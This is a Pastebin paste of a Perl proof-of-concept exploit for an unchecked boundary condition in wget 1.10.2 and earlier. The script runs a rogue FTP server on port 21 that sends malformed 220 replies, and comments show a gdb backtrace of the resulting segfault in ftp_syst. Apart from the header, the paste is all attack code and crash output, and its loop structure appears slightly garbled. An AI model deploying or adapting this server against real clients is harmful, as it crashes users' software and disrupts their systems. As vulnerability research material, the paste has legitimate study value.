Advertisement
Aluf

wget-1.10.2 (Unchecked Boundary Condition) [DOS]

Feb 1st, 2015
448
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.19 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ################################################################################
  3. # wget <= 1.10.2 | Unchecked Boundary Condition
  4. # Aluf
  5. #
  6. # www.globalst.com.ar
  7. # fbossi[at]globalst.com.ar
  8. ################################################################################
  9.  
  10. use strict;
  11. use IO::Socket;
  12.  
  13.  
  14. #Resolving localhost... 127.0.0.1
  15. #Connecting to localhost|127.0.0.1|:21... connected.
  16. #Logging in as anonymous ... Logged in!
  17. #==> SYST ...
  18. #Program received signal SIGSEGV, Segmentation fault.
  19. #[Switching to Thread -1211496768 (LWP 22824)]
  20. #0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
  21. #(gdb) backtrace
  22. #0 0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
  23. #1 0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042
  24. #2 0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367
  25. #3 0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197
  26. #4 0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341
  27. #5 0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705
  28. #6 0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875
  29. #7 0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost", file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678
  30. #8 0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
  31. #(gdb)
  32.  
  33. my $PORT=21;
  34. $SIG{CHLD} = 'IGNORE';
  35.  
  36.  
  37. my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto => 'tcp',Reuse => 1);
  38. die "Cant't bind port: $@" unless $listen;
  39.  
  40. print "wget PoC\nWainting conections\n";
  41.  
  42. while (my $connection = $listen->accept){
  43. my $child;
  44.  
  45. while (my $connection = $listen->accept){
  46. my $child;
  47. die "Can't fork: $!" unless defined ($child = fork());
  48. if ($child == 0){
  49. $listen->close;
  50. while() {
  51. print $connection "220 \n";
  52. }
  53. exit 0;
  54. }
  55. else {
  56. print "Connecton recieved ... ",$connection->peerhost,"\n";
  57. $connection->close();
  58. }
  59. } #while
  60.  
  61. } #while
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement